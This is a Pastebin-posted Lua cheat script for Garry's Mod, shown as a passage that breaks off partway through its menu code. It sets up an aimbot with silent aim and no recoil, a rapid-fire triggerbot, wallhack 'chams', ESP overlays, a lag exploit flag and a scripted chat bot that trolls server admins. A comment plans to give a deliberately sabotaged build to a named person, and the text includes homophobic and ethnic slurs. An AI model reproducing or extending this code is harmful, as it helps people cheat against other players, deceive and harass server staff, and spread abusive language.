Guest User

Mingescript

a guest
Apr 13th, 2015
1,326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 171.91 KB | None | 0 0
  1. // Have fun faggots
  2. /*todo
  3. use trace with headsmash ball to adjust height for ceilings
  4. fix traitor detector spam, something todo with the table.remove
  5. fix pre-round traitor weapon detection thing
  6. fix odd grey square things below text which appear when you die and have a red screen
  7. make prop leading trace happen from centre of prop
  8. figure out and fix the fps problem that remains even when no visuals are turned on - NPCS HAVE A MASSIVE FUCKING IMPACT
  9. add tickbox for wireframe material for propchams
  10. add tickbox for wireframe material for playerchams
  11. fix problem with add/removefriend not working with people that have ( something ) or [something] in their names
  12.  
  13. at the end make two versions
  14.         full to give to entrusted people
  15.        
  16.         sabotaged version which will fuck as much shit up as possible to give to fuckwits like nemix
  17.                 requires some sort of avengers style superhero team collaboration between hamster/ownage/anthrax/possibly others
  18. */
  19.  
  20. local G = table.Copy( _G )
  21. local RCC = G.RunConsoleCommand
  22. local RSTR = G.RunString
  23. local C = table.Copy( concommand )
  24. local CCA = C.Add
  25. local H = table.Copy( hook )
  26. local HKA = H.Add
  27. local HKR = H.Remove
  28. local Ent = FindMetaTable( "Entity" )
  29. local CamEnd3DShit = _G[ "cam" ][ "End3D" ]
  30. local RSetMaterial = Ent.SetMaterial
  31. local RGetMaterial = Ent.GetMaterial
  32. local RSetColour = Ent.SetColor
  33. local RGetColour = Ent.GetColor
  34. local CozIBackTracedIt
  35. local FriendsList
  36. local PlayerList
  37. local Window
  38. local ConsoleWindow
  39. local EntList
  40. local ESPEntList      
  41.  
  42. local MS = {--OUTTA NOWHERE
  43.         Friends = {},
  44.         Spectators = {},
  45.         Props = {},
  46.         Tracked = {},
  47.         HighPriority = {},
  48.         Isolated = {},
  49.         SpawnedWithTraitorWeapons = {},
  50.         PlayerNameListTable = {},
  51.         MsHelpCommandTable = {},
  52.         ZoomView = {},
  53.         RPJobs = {},
  54.         MutedCunts = {},
  55.         MaterialFile = {},
  56.         ChamTable = {},
  57.         PotentialTargetListNames = {},
  58.         FriendsListNames = {},
  59.         Traitors = {},
  60.         LeadingTable = {},
  61.         SuitableTargetTable = {},
  62.         ConeTargetTable = {},
  63.         DangerProps = { "models/props/de_tides/gate_large.mdl", "models/props/cs_militia/refrigerator01.mdl", "models/props_c17/lockers001a.mdl", "models/props/de_train/lockers_long.mdl", "models/props_phx/construct/metal_plate4x4.mdl", "models/props_debris/walldestroyed01a.mdl" },
  64.         PropChamClasses = { "prop_physics", "prop_vehicle*", "gmod_button" },
  65.         TargetNPCClasses = { "npc_*", "anklebiter_zombie", "regular_zombie", "mauler_zombie", "toxic_zombie", "wraith_zombie" },
  66.         BjornTalks = { { 5, "?" }, { 20, "my game volume off you must type i cant hear u" }, { 50, "wait" }, { 70, "?wat" }, { 95, "/DARKRP Name bjorn" }, { 120, "/DARKRNAME bjorn" }, { 135, "o" }, { 145, "/SETROLLPLAYNAME bjorn" }, { 155, " ?OMG" }, { 180, "can u please explain it better ur not doing a very good job" }, { 190, "/ROLLPLAYNAME bjorn" }, { 200, "OMFG!!!!!!!!!!! STUPDIFUCKING COMMAND ISNT WORK!!" }, { 215, "?how do i get administrator because mayb will fix it" }, { 230, "?please" }, { 240, "// can a better administrator pls assist im being harasst" }, { 260, "// by an administrator that not knowing what he is talking about" }, { 270, "// he keep telling me to get name but when he tell me how it doesnt working" }, { 280, "OMG CAN I JUST GO TELL ME WHAT U WANT" }, { 290, "WE TRY THAT ALREADY AND IT HASNT WORKING" }, { 296, "my entire half of this conversation was automatic" }, { 298, "you've just wasted five minutes talking to a script" }, { 300, "dick head" } },
  67.         FirstNames = { "Hudson", "jordan", "Austin", "nathan", "Alex", "Hayden", "john", "Jasper", "Boris", "horace", "morris", "doris", "julian", "nate", "Seth", "luca", "Jackson", "Isaac", "david", "matthew", "thOmas", "sam", "Oscar", "timothy", "Anthony", "archer", "Christian", "Bailey", "jayden", "Michael", "brodie", "caleb", "Tyler", "Jacob", "Archie", "beau", "gabriel", "Flynn", "samuel", "Koby", "sebastian", "Hugo", "angus", "ryder", "leo", "Declan", "dominic", "Toby", "daniel", "harry", "Joel", "tory", "Tristan", "will", "Taj", "Xavier", "Christopher", "Zane", "Jai", "Zac", "Thomas", "Nicholas", "Benjamin", "Marcus", "Tyson", "Andrew", "Jack", "Levi", "ballow", "Walter", "horatio", "Quentin" },
  68.         Surnames = { "Schenk", "Beeby", "salisbury", "Atherton", "McColl", "Elsey", "bowles", "Macleod", "McElhone", "Schey", "Pridham", "wallwork", "Lassetter", "Manton", "leary", "England", "McNess", "hutchins", "Ronald", "Stones", "angas", "Lawrenson", "Dadswell", "crummer", "Gloucester", "cochran", "Ernest", "Todd", "Talbot", "Vogel", "Pryor", "peacock", "Lakeland", "Hallahan", "Avery", "edgerton", "Pohlman", "Nock", "resch", "Hassall", "Waley", "lyle", "Keynes", "Eagar", "copeland", "Gunson", "morell", "Cheel", "sumsuma", "Ellen", "Dove", "pizzey", "Morwood", "DeBavay", "tier", "Wilding", "Stoneman", "Whittell", "corey", "Patrick", "Loghlin", "mortlock", "Bulcock", "chumleigh", "Sani", "Timbery", "wheare", "Mondalmi", "Ferres", "buckley", "Chessman", "Macadam", "Whittle", "Dacomb", "tomkinson", "Woollacott", "Learmonth", "Cullen", "Sato", "gibson", "Medland", "Stang", "Trout", "cabena", "Edith", "Ryder", "Hardy", "ballow", "Kabu", "Haenke", "pescott", "Cudmore", "Aplin", "Zahel", "Kenyon" },
  69.         UserNames = {"PedroGarcia2003", "deathcole20", "udealwithit", "kellyhxo", "nitrodan9", "Turbofaaret", "tlit02", "Somixe", "lm3788", "shinxluxio12655", "brr4airsoft", "FoG_Triton", "Boss_Nomad", "VillaV", "benmaher", "raptor6200", "Cheesy56", "ARiiiES", "shadow615", "ladiesman1324", "deatharrow36", "Harukoxd", "zacymacy2", "BED_TIME101", "jellybeanmm", "kyle_mcmanus", "widget20", "MrJevie", "boot_straps", "beatles4", "BILLYRAY", "bprevatte", "browning", "bullmastiff", "burry", "cruiser", "DChrles", "deck", "Diver", "eagleone", "gordo", "Holt", "mustang0000", "Strike34", "Am132__Y", "vince1949", "Sirbruce100", "Helloman999", "Amiable", "fukjaps888"},
  70.         ProColours = { "-80 -7 -99999999999", "-80 -999999999999 -7", "-7 -7 -99999999999999999999", "-99999999999 -7 -7", "-7 -999999999999999999999 -7" },
  71.         TardColours = { "0.8 0.2 0.6", "0 1 0.03", "0.1 0.05 1", "0.3 0.5 0.02", "1 0 0", "1 1 0", "0 1 0", "0 1 1", "0 0 1", "1 0 0" },
  72.         MaterialsAndWidths = { "rope_material", "elastic_material", "hydraulic_material", "winch_rope_material", "slider_material", "muscle_material", "wire_material", "wire_adv_material", "rope_width", "elastic_width", "hydraulic_width", "winch_rope_width", "slider_width", "muscle_width", "wire_width", "wire_adv_width" },
  73.         IgnoreDropWeps = { "weapon_physgun", "weapon_physcannon", "weapon_fists", "gmod_tool", "keys", "pocket", "gmod_camera" },
  74.         TriggerbotBlacklist = { "weapon_physgun", "gmod_tool" },
  75.         WhiteMaterial = CreateMaterial( "White9", "UnlitGeneric", { [ "$basetexture" ] = "models/debug/debugwhite", [ "$nocull" ] = 1, [ "$model" ] = 1 } ),
  76.         DeagleLogsShit = { DeathLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, KillerName = {}, InflictorName = {}, KSteamID = {} }, PropLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Model= {} }, JobLog = { Time = {}, SteamID = {},        HSteamID = {},  Name = {},      OldTeam = {},   NewTeam = {}, }, ConnectLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Method = {} }, ToolLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Tool = {} }, DMGLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, KillerName = {}, KSteamID = {}, InflictorName = {}, Method = {}, Damage = {} }, NameLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, OldName = {}, NewName = {} }, ArrestLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Method = {}, Officer = {}, OSteamID = {} }, DemoteLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Demoter = {}, DSteamID = {}, Job = {}, Reason = {} }, HitLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Target = {}, TSteamID = {}, Method = {}, Customer = {}, CSteamID = {} }, },
  77.         Job2 = "",
  78.         LastJob = "",
  79.         NewJob = "",
  80.         LastFirstName = "",
  81.         LastSurname = "",
  82.         NewFirstName = "",
  83.         NewSurname = "",
  84.         EnabledOrDisabled = "",
  85.         MaxFOV = 180,
  86.         LastDist = 2048,
  87.         Int2 = 1,
  88.         NextSpawn = 0,
  89.         TopSpeed = 0,
  90.         CurrentSpeed = 0,
  91.         NextFire = 0,
  92.         NextSnap = 0,
  93.         NewProColour = 0,
  94.         LastProColour = 0,
  95.         NewTardColour = 0,
  96.         LastTardColour = 0,
  97.         BiggestString = 0,
  98.         Zoom = 0,
  99.         NextBjornType = 0,
  100.         Speed = 0,
  101.         SilentSnapDelay = 0,
  102.         MenuTimer = 0,
  103.         TorchSpamTimer = 0,
  104.         TorchShutoffTimer = 0,
  105.         SilentAimPingAdjust = 0,
  106.         Settings,
  107.         EntityLock,
  108.         TargetPly,
  109.         Inv,
  110.         IsVisTrace,
  111.         AimBone,
  112.         SpecColour,
  113.         FriendlyMinge,
  114.         PhysOverrideMul,
  115.         PhysOverrideCol,
  116.         ThirdPersonView,
  117.         ConeTarget,
  118.         PrevAng = Angle( 0, 0, 0 ),
  119.         SilentAimAngle = Angle( 0, 0, 0 ),
  120.         Start = Angle( 0, 0, 0 ),
  121.         CHOutterPos1 = Vector( 0, 0, 0 ),
  122.         CHOutterPos2 = Vector( 0, 0, 0 ),
  123.         CHOutterPos3 = Vector( 0, 0, 0 ),
  124.         CHOutterPos4 = Vector( 0, 0, 0 ),
  125.         CHOutterPos5 = Vector( 0, 0, 0 ),
  126.         CHOutterPos6 = Vector( 0, 0, 0 ),
  127.         CHOutterPos7 = Vector( 0, 0, 0 ),
  128.         CHOutterPos8 = Vector( 0, 0, 0 ),
  129.         CHMidPos1 = Vector( 0, 0, 0 ),
  130.         CHMidPos2 = Vector( 0, 0, 0 ),
  131.         CHMidPos3 = Vector( 0, 0, 0 ),
  132.         CHMidPos4 = Vector( 0, 0, 0 ),
  133.         CHMidPos5 = Vector( 0, 0, 0 ),
  134.         CHMidPos6 = Vector( 0, 0, 0 ),
  135.         CHMidPos7 = Vector( 0, 0, 0 ),
  136.         CHMidPos8 = Vector( 0, 0, 0 ),  
  137.         CHInnerPos1 = Vector( 0, 0, 0 ),
  138.         CHInnerPos2 = Vector( 0, 0, 0 ),
  139.         CHInnerPos3 = Vector( 0, 0, 0 ),
  140.         CHInnerPos4 = Vector( 0, 0, 0 ),
  141.         CHInnerPos5 = Vector( 0, 0, 0 ),
  142.         CHInnerPos6 = Vector( 0, 0, 0 ),
  143.         CHInnerPos7 = Vector( 0, 0, 0 ),
  144.         CHInnerPos8 = Vector( 0, 0, 0 ),
  145.         Colours = {    
  146.                 red = Color( 255, 0, 0, 60 ),
  147.                 green = Color( 0, 255, 0, 255 ),
  148.                 blue = Color( 20, 150, 255, 60 ),
  149.                 white = Color( 255, 255, 255, 255 ),
  150.                 pink = Color( 255, 0, 255, 255 ),
  151.                 black = Color( 0, 0, 0, 255 ),
  152.                 yellow = Color( 255, 255, 0, 255 ),
  153.                 traitorred = Color( 0, 0, 255 ),
  154.                 headsmashballcol = Color( 0, 0, 0, 255 ),              
  155.                 Col = Color( 0, 0, 0, 255 ),          
  156.                 Random = Color( 0, 0, 0, 255 ),                
  157.                 PropChamsColour = Color( 0, 0, 0, 255 ),              
  158.                 CrosshairCol = Color( 0, 0, 0, 255 ),          
  159.         },    
  160.         SpawnMaxBounds = Vector( -2552.397217, -2431.968750, 14.708786 ),
  161.         SpawnMinBounds = Vector( -2807.807373, -2847.065674, -200 ),
  162.         ScreenGrab = false,
  163.         IsFiring = false,
  164.         TorchSpamming = false,
  165.         Cannoning = false,
  166.         DetectingTs = false,
  167.         Visible = true,
  168.         RopeSpamming = false,
  169.         Glowing = false,
  170.         ZoomActive = false,
  171.         ZoomEnable = false,
  172.         Vomiting = false,
  173.         KickFlipping = false,
  174.         IsBjornTyping = false,
  175.         IsBjorn = false,
  176.         FuckingPlayer = false,
  177.         ConeSpawned = false,
  178.         UpdateCol = true,
  179.         UpdatePropCol = true,
  180.         ResetVis = false,
  181.         SetNoVis = false,
  182.         UpdateSilentAngle = true,
  183.         SnapBack = false,
  184.         Lagsploiting = false,
  185.         Hopping = false,
  186.         MenuOpen = false,
  187.         MenuFirstPass = true,
  188.         StayOpen = false,
  189.         DeagleLogs = false,
  190.         SnapBack2 = false,    
  191. }
  192.  
  193. function table.val_to_str ( v )
  194.         if "string" == type( v ) then
  195.                 return "hi"
  196.         else
  197.                 return "table" == type( v ) and table.tostring( v ) or
  198.                 tostring( "hi" )
  199.         end
  200. end
  201.  
  202. function table.key_to_str ( k )
  203.         if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then
  204.                 return k
  205.         else
  206.                 return "[" .. table.val_to_str( k ) .. "]"
  207.         end
  208. end
  209.  
  210. function table.tostring( tbl )
  211.         local result, done = {}, {}
  212.                 for k,v in ipairs( tbl ) do
  213.                         table.insert( result, table.val_to_str( v ) )
  214.                         done[ k ] = true
  215.                 end
  216.                 for k,v in pairs( tbl ) do
  217.                         if not done[ k ] then
  218.                         table.insert( result,
  219.                         table.key_to_str( k ) .. "=" .. table.val_to_str( v ) )
  220.                 end
  221.         end
  222.         table.sort( result, function( a, b ) return a > b end )
  223.         return "{" .. table.concat( result, ", " ) .. "}"
  224. end
  225.  
  226. MS.Settings = {
  227.         TriggerBot = {
  228.                 enabled = false,
  229.                 onlyaim = true,
  230.                 rapidfire = false,
  231.         },
  232.         Aimbot = {
  233.                 enabled = false,
  234.                 targetnpcs = false,
  235.                 aimsmoothon = false,
  236.                 multitrace = false,
  237.                 norecoil = true,
  238.                 noshake = true,
  239.                 ignorefriends = false,
  240.                 ignoreteammates = false,
  241.                 silent = false,
  242.                 maxfov = 30,
  243.                 snapwait = 0,
  244.                 aimsmooth = 30,
  245.                 Bones = { "POW RIGHT IN THE KISSER", "Nipples", "RIGHT IN THE PUSSY", "Left Kneecap", "Right Kneecap" },
  246.                 AimFor = "POW RIGHT IN THE KISSER",
  247.         },
  248.         Visuals = {                    
  249.                 Text = {
  250.                         on = true,
  251.                         mingenametags = true,
  252.                         names = true,
  253.                         health = true,
  254.                         weapon = true,
  255.                         rank = true,
  256.                         distance = true,
  257.                         modelnames = true,
  258.                         espvelocity = true,
  259.                         velocity = true,
  260.                         topvelocity = true,
  261.                 },
  262.                 addwire = false,
  263.                 playerleading = false,
  264.                 propleading = false,
  265.                 verticalbeam = true,
  266.                 headsmash = true,
  267.                 headsmashball = true,
  268.                 boxes = true,
  269.                 teamcolours = false,
  270.                 playerchams = true,
  271.                 propchams = true,
  272.                 playersuppressenginelighting = false,
  273.                 nosky = false,
  274.                 crosshair = true,
  275.                 eyetrace = true,
  276.                 halos = true,
  277.                 thirdperson = false,
  278.                 savefps = false,
  279.                 weaponchams = true,
  280.                 traitor = true,
  281.                 checktidesgate = false,
  282.                 rainbow = false,
  283.                 nogunz = false,
  284.                 overridephysgun = false,
  285.                 PropR = 255,
  286.                 PropG = 150,
  287.                 PropB = 0,
  288.                 PropA = 45,
  289.                 CustomR = 0,
  290.                 CustomG = 255,
  291.                 CustomB = 255,
  292.                 rainbowmult = 1,
  293.                 ThirdPersonDist = 250,                
  294.                 haloselection = 3,
  295.                 crosshairspeed = 2,
  296.                 customents = {},
  297.                 RopeMaterial = "matsys_regressiontest/background",
  298.         },
  299.         Debug = false,
  300.         AutoStrafe = false,
  301. }
  302.  
  303. local function MSMsg( text )
  304.         MsgC( MS.Colours.green, string.upper( text ) .. "\n" )
  305. end
  306.  
  307. if( !file.Exists( "mssettings.txt", "DATA" ) ) then
  308.         file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ), "DATA" )
  309. else  
  310.         if( table.tostring( MS.Settings ) == table.tostring( util.JSONToTable( file.Read( "mssettings.txt", "DATA" ) ) ) ) then
  311.                 MS.Settings = util.JSONToTable( file.Read( "mssettings.txt", "DATA" ) )
  312.                 MS.Settings.Aimbot.enabled = false
  313.         else
  314.                 MSMsg( "SETTINGS FILE TEMPLATE CHANGED .. REWRITING..." )
  315.                 file.Delete( "mssettings.txt" )
  316.                 file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ), "DATA" )
  317.         end
  318. end
  319.  
  320. local function LogMsg( text )
  321.         if( !MS.Settings.Debug ) then return end
  322.         MSMsg( text )
  323. end
  324. local function MSError( text )
  325.         notification.AddLegacy( string.upper( text ), NOTIFY_ERROR, 5 )
  326.         MSMsg( text )
  327.         RCC( "play", "buttons/button16.wav" )
  328. end
  329. local function EnabledDisabled( name, bool )
  330.         MS.EnabledOrDisabled = "disabled"      
  331.         if( bool ) then
  332.                 MS.EnabledOrDisabled = "enabled"
  333.         end
  334.         MSMsg( name .. " " .. MS.EnabledOrDisabled )
  335. end
  336.  
  337. local function FindByName( text )
  338.         for k,v in pairs( player.GetAll() ) do
  339.                 if( v == LocalPlayer() ) then continue end
  340.                 if( string.find( string.lower( v:Nick() ), string.lower( text ) ) ) then
  341.                         return v
  342.                 end
  343.         end
  344.         return nil
  345. end
  346.  
  347. local function GetPlayerNameList( pref )
  348.         MS.PlayerNameListTable = {}
  349.         for k,v in pairs( player.GetAll() ) do
  350.                 table.insert( MS.PlayerNameListTable, pref .. v:Nick() )
  351.         end
  352.         return MS.PlayerNameListTable
  353. end
  354.  
  355. local function AddFriend( name )
  356.         if( type( name ) != "string" and name:IsPlayer() ) then
  357.                 if( table.HasValue( MS.Friends, name ) ) then
  358.                         MSMsg( name:Nick() .. " IS ALREADY ON YOUR FRIENDS LIST" )
  359.                         return
  360.                 end            
  361.                 table.insert( MS.Friends, name )
  362.                 MSMsg( "ADDED " .. name:Nick() .. " TO FRIEND LIST" )
  363.                 return
  364.         end    
  365.         if( type( name ) != "string" ) then MSError( "ERROR: ADDFRIEND ATTEMPTED TO USE TYPE ".. type( name ) ) return end
  366.         if( type( name ) == "string" and string.len( name ) < 1 ) then return end
  367.         if( name == "*" ) then
  368.                 MS.Friends = table.Copy( player.GetAll() )
  369.                 MSMsg( "ADDED EVERYONE TO FRIENDS LIST" )
  370.                 return
  371.         end
  372.        
  373.         local ToAdd = FindByName( name )      
  374.         if( table.HasValue( MS.Friends, ToAdd ) ) then
  375.                 MSMsg( ToAdd:Nick() .. " IS ALREADY ON YOUR FRIENDS LIST" )
  376.                 return
  377.         end                    
  378.         table.insert( MS.Friends, ToAdd )
  379.         MSMsg( "ADDED " .. ToAdd:Nick() .. " TO FRIEND LIST" )
  380. end
  381. CCA( "ms_friendadd", function( _, _, args ) AddFriend( table.concat( args, " " ) ) end, function() return GetPlayerNameList( "t_friendadd " ) end )
  382.  
  383. local function RemoveFriend( name )
  384.         if( type( name ) == "string" and name == "*" ) then
  385.                 MS.Friends = {}
  386.                 MSMsg( "REMOVED EVERYONE FROM LIST" )
  387.                 return
  388.         end    
  389.         if( type( name ) == "string" and string.len( name ) < 1 ) then return end
  390.         for k,v in pairs( MS.Friends ) do
  391.                 if( type( name ) != "string" and name:IsPlayer() and name == v ) or ( type( name ) == "string" and FindByName( name ) == v ) then
  392.                         table.remove( MS.Friends, k )
  393.                         MSMsg( "REMOVED " .. v:Nick() .. " FROM FRIENDS LIST" )
  394.                         break
  395.                 end
  396.         end
  397. end
  398. CCA( "ms_friendremove", function( _, _, args ) RemoveFriend( table.concat( args, " " ) ) end, function() return GetPlayerNameList( "t_friendremove " ) end )
  399.  
  400. local function InvertColour( c )
  401.         return Color( 255 - c.r, 255 - c.g, 255 - c.b, 255 );
  402. end
  403.  
  404. local function NoShake( ply, pos, angles, fov )
  405.         if( GetViewEntity() != LocalPlayer() or MS.ZoomEnable or MS.Settings.Visuals.thirdperson or LocalPlayer():InVehicle() ) then return end
  406.         local view = { ply = ply, origin = pos, angles = LocalPlayer():EyeAngles(), fov = fov }
  407.         return view
  408. end
  409.        
  410. local function GenerateVisualsSheet( w, h )
  411.         VisualPanel = vgui.Create( "DPanel" )
  412.         VisualPanel:SetPos( 2, 2 )
  413.         VisualPanel:SetSize( w - 2, h - 2 )
  414.         VisualPanel.Paint = function()
  415.                 draw.RoundedBox( 3, 0, 0, VisualPanel:GetWide(), VisualPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  416.         end
  417.        
  418.         local SheetLeft = vgui.Create( "DPanelList", VisualPanel )
  419.         SheetLeft:SetPos( 2, 2 )
  420.         SheetLeft:SetSize( 100, h )
  421.         SheetLeft:SetSpacing( 6 )
  422.         SheetLeft:SetPadding( 4 )
  423.         SheetLeft:EnableVerticalScrollbar( true )
  424.  
  425.         local SheetMid = vgui.Create( "DPanelList", VisualPanel )
  426.         SheetMid:SetPos( 100, 2 )
  427.         SheetMid:SetSize( 100, h )
  428.         SheetMid:SetSpacing( 6 )
  429.         SheetMid:SetPadding( 4 )
  430.         SheetMid:EnableVerticalScrollbar( true )
  431.  
  432.         local SheetRight = vgui.Create( "DPanelList", VisualPanel )
  433.         SheetRight:SetPos( 200, 2 )
  434.         SheetRight:SetSize( 100, h )
  435.         SheetRight:SetSpacing( 6 )
  436.         SheetRight:SetPadding( 4 )
  437.         SheetRight:EnableVerticalScrollbar( true )
  438.        
  439.         local SheetLong = vgui.Create( "DPanelList", VisualPanel )
  440.         SheetLong:SetPos( 2, 90 )
  441.         SheetLong:SetSize( 300, h )
  442.         SheetLong:SetSpacing( 6 )
  443.         SheetLong:SetPadding( 4 )
  444.         SheetLong:EnableVerticalScrollbar( true )
  445.  
  446.         local CheckBoxAddWire = vgui.Create( "DCheckBoxLabel" )
  447.         CheckBoxAddWire:SetText( "Add Wire" )
  448.         CheckBoxAddWire:SetToolTip( "Adds Wiremod shit to prop chams" )
  449.         CheckBoxAddWire:SetValue( MS.Settings.Visuals.addwire )
  450.         CheckBoxAddWire.OnChange = function( _, toggle )
  451.                 MS.Settings.Visuals.addwire = toggle
  452.                 if( MS.Settings.Visuals.addwire ) then
  453.                         table.insert( MS.PropChamClasses, "gmod_wire*" )
  454.                         MS.SetNoVis = true
  455.                 else
  456.                         MS.ResetVis = true
  457.                         table.remove( MS.PropChamClasses, 4 )
  458.                         MS.SetNoVis = true
  459.                 end
  460.         end
  461.         CheckBoxAddWire:SizeToContents()
  462.        
  463.         local CheckBoxCheckTidesGate = vgui.Create( "DCheckBoxLabel" )
  464.         CheckBoxCheckTidesGate:SetText( "Prop Danger" )
  465.         CheckBoxCheckTidesGate:SetToolTip( "Tides gates and fridges flash red if they have a clear path to you" )
  466.         CheckBoxCheckTidesGate:SetValue( MS.Settings.Visuals.checktidesgate )
  467.         CheckBoxCheckTidesGate.OnChange = function( _, toggle )
  468.                 MS.Settings.Visuals.checktidesgate = toggle
  469.         end
  470.         CheckBoxCheckTidesGate:SizeToContents()
  471.  
  472.         local CheckBoxCrosshair = vgui.Create( "DCheckBoxLabel" )
  473.         CheckBoxCrosshair:SetText( "Crosshair" )
  474.         CheckBoxCrosshair:SetToolTip( "CUNTFLAKE" )
  475.         CheckBoxCrosshair:SetValue( MS.Settings.Visuals.crosshair )
  476.         CheckBoxCrosshair.OnChange = function( _, toggle )
  477.                 MS.Settings.Visuals.crosshair = toggle
  478.         end
  479.         CheckBoxCrosshair:SizeToContents()
  480.        
  481.         local CheckBoxModelNames = vgui.Create( "DCheckBoxLabel" )
  482.         CheckBoxModelNames:SetText( "Model Names" )
  483.         CheckBoxModelNames:SetToolTip( "Shows the model of the prop/button you're aiming at" )
  484.         CheckBoxModelNames:SetValue( MS.Settings.Visuals.Text.modelnames )
  485.         CheckBoxModelNames.OnChange = function( _, toggle )
  486.                 MS.Settings.Visuals.Text.modelnames = toggle
  487.         end
  488.         CheckBoxModelNames:SizeToContents()
  489.        
  490.         local CheckBoxNoSky = vgui.Create( "DCheckBoxLabel" )
  491.         CheckBoxNoSky:SetText( "No Skybox" )
  492.         CheckBoxNoSky:SetToolTip( ">implying this needs a tooltip" )
  493.         CheckBoxNoSky:SetValue( MS.Settings.Visuals.nosky )
  494.         CheckBoxNoSky.OnChange = function( _, toggle )
  495.                 MS.Settings.Visuals.nosky = toggle
  496.                 if( MS.Settings.Visuals.nosky ) then
  497.                         HKA( "PreDrawSkyBox", "removeSkybox", function() render.Clear( math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime()/10 ) *100 ), 255 ) return true end )
  498.                         return
  499.                 end
  500.                 HKR( "PreDrawSkyBox", "removeSkybox" )
  501.         end
  502.         CheckBoxNoSky:SizeToContents()
  503.        
  504.         local CheckBoxPropChams = vgui.Create( "DCheckBoxLabel" )
  505.         CheckBoxPropChams:SetText( "Prop Chams" )
  506.         CheckBoxPropChams:SetTooltip( "Prop wallhack" )
  507.         CheckBoxPropChams:SetValue( MS.Settings.Visuals.propchams )
  508.         CheckBoxPropChams.OnChange = function( _, toggle )
  509.                 MS.Settings.Visuals.propchams = toggle
  510.                 if( MS.Settings.Visuals.propchams ) then
  511.                         MS.SetNoVis = true
  512.                         return
  513.                 end
  514.                 MS.ResetVis = true
  515.         end
  516.         CheckBoxPropChams:SizeToContents()
  517.        
  518.         local CheckBoxPropLeading = vgui.Create( "DCheckBoxLabel" )
  519.         CheckBoxPropLeading:SetText( "Prop Predict" )
  520.         CheckBoxPropLeading:SetToolTip( "Prop trajectory prediction, works okay" )
  521.         CheckBoxPropLeading:SetValue( MS.Settings.Visuals.propleading )
  522.         CheckBoxPropLeading.OnChange = function( _, toggle )
  523.                 MS.Settings.Visuals.propleading = toggle
  524.         end
  525.         CheckBoxPropLeading:SizeToContents()
  526.        
  527.         local CheckBoxRainbow = vgui.Create( "DCheckBoxLabel" )
  528.         CheckBoxRainbow:SetText( "Rainbow" )
  529.         CheckBoxRainbow:SetToolTip( "TASTE THE RAINBOW MOTHER FUCKER" )
  530.         CheckBoxRainbow:SetValue( MS.Settings.Visuals.rainbow )
  531.         CheckBoxRainbow.OnChange = function( _, toggle )
  532.                 MS.Settings.Visuals.rainbow = toggle
  533.                 if( !MS.Settings.Visuals.rainbow ) then
  534.                         MS.UpdateCol = true
  535.                         MS.UpdatePropCol = true
  536.                 end
  537.         end
  538.         CheckBoxRainbow:SizeToContents()
  539.        
  540.         local CheckBoxSaveFPS = vgui.Create( "DCheckBoxLabel" )
  541.         CheckBoxSaveFPS:SetText( "Save FPS" )
  542.         CheckBoxSaveFPS:SetToolTip( "Stops rendering visuals outside your view, bit fucked" )
  543.         CheckBoxSaveFPS:SetValue( MS.Settings.Visuals.savefps )
  544.         CheckBoxSaveFPS.OnChange = function( _, toggle )
  545.                 MS.Settings.Visuals.savefps = toggle
  546.         end
  547.         CheckBoxSaveFPS:SizeToContents()
  548.        
  549.         local CheckBoxNoGunz = vgui.Create( "DCheckBoxLabel" )
  550.         CheckBoxNoGunz:SetText( "Invis Weapon" )
  551.         CheckBoxNoGunz:SetToolTip( "Makes your shit all invisible and shit - massive fps drain" )
  552.         CheckBoxNoGunz:SetValue( MS.Settings.Visuals.nogunz )
  553.         CheckBoxNoGunz.OnChange = function( _, toggle )
  554.                 MS.Settings.Visuals.nogunz = toggle
  555.         end
  556.         CheckBoxNoGunz:SizeToContents()
  557.  
  558.         local CheckBoxTopVelocity = vgui.Create( "DCheckBoxLabel" )
  559.         CheckBoxTopVelocity:SetText( "Top Velocity" )
  560.         CheckBoxTopVelocity:SetToolTip( "Displays your top velocity" )
  561.         CheckBoxTopVelocity:SetValue( MS.Settings.Visuals.Text.topvelocity )
  562.         CheckBoxTopVelocity.OnChange = function( _, toggle )
  563.                 MS.Settings.Visuals.Text.topvelocity = toggle
  564.         end
  565.         CheckBoxTopVelocity:SizeToContents()
  566.  
  567.         local CheckBoxVelocity = vgui.Create( "DCheckBoxLabel" )
  568.         CheckBoxVelocity:SetText( "Velocity" )
  569.         CheckBoxVelocity:SetToolTip( "Displays your current velocity" )
  570.         CheckBoxVelocity:SetValue( MS.Settings.Visuals.Text.velocity )
  571.         CheckBoxVelocity.OnChange = function( _, toggle )
  572.                 MS.Settings.Visuals.Text.velocity = toggle
  573.         end
  574.         CheckBoxVelocity:SizeToContents()
  575.        
  576.         local PropR = vgui.Create( "DNumSlider" )
  577.         PropR:SetMinMax( 0, 255 )
  578.         PropR:SetValue( MS.Settings.Visuals.PropR )
  579.         PropR:SetText( "Prop Chams: Red" )
  580.         PropR:SetDecimals( 0 )
  581.         PropR.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  582.         PropR.OnValueChanged = function( panel, value )
  583.                 MS.Settings.Visuals.PropR = value
  584.                 MS.UpdatePropCol = true
  585.         end
  586.         PropR:SetSize( 120, 14 )
  587.  
  588.         local PropG = vgui.Create( "DNumSlider" )
  589.         PropG:SetMinMax( 0, 255 )
  590.         PropG:SetValue( MS.Settings.Visuals.PropG )
  591.         PropG:SetText( "Prop Chams: Green" )
  592.         PropG:SetDecimals( 0 )
  593.         PropG.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  594.         PropG.OnValueChanged = function( panel, value )
  595.                 MS.Settings.Visuals.PropG = value
  596.                 MS.UpdatePropCol = true
  597.         end
  598.         PropG:SetSize( 120, 14 )
  599.  
  600.         local PropB = vgui.Create( "DNumSlider" )
  601.         PropB:SetMinMax( 0, 255 )
